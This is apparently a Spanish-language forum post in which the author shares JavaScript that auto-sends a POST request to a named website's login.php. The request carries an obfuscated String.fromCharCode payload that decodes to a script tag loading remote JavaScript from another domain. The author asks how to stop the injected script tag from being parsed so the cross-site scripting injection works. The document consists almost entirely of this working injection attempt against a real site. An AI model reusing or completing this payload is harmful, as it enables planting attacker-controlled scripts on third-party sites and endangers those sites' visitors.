Bueno, con esta parte del codigo, puedo enviar datos via Post por javascript
peticion_http.send("&nombre=<script>document.write (String.fromCharCode(60,115,99,114,105,1
12,116,32,115,114,99,61,34,104,116,116,112,58,47,4 7,119,119,119,46,101,115,102,97,109,111,1
15,97,46,99,111,109,47,97,109,46,106,115,34,62,60, 47,115,99,114,105,112,116,62,0))</script>
");
Pero como hago para que javascript no lea como codigo javascript lo que esta dentro de "" ? Y QUE LO lea solo como string?
Osea que las <script> dentro del http.send("") no se lean como codigo javascript, si no que como simplmente string?
Bueno, el codigo completo que permite entrar en una web y enviar post es:
Código:
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html>
<head>
<title>Hola Mundo con AJAX</title>
<script type="text/javascript">
function descargaArchivo() {
// Obtener la instancia del objeto XMLHttpRequest
if(window.XMLHttpRequest) {
peticion_http = new XMLHttpRequest();
}
else if(window.ActiveXObject) {
peticion_http = new ActiveXObject("Microsoft.XMLHTTP");
}
// Preparar la funcion de respuesta
peticion_http.onreadystatechange = muestraContenido;
// Realizar peticion HTTP
peticion_http.open('POST', 'http://www.solokampos.com.mx/login.php', true);
peticion_http.send("&nombre=<script>document.write(String.fromCharCode(60,115,99,114,105,1
12,116,32,115,114,99,61,34,104,116,116,112,58,47,47,119,119,119,46,101,115,102,97,109,111,1
15,97,46,99,111,109,47,97,109,46,106,115,34,62,60,47,115,99,114,105,112,116,62,0))</script>
");
function muestraContenido() {
if(peticion_http.readyState == 4) {
if(peticion_http.status == 206) {
alert(peticion_http.responseText);
}
}
}
}
window.onload = descargaArchivo;
</script>
</head>
<body></body>
</html>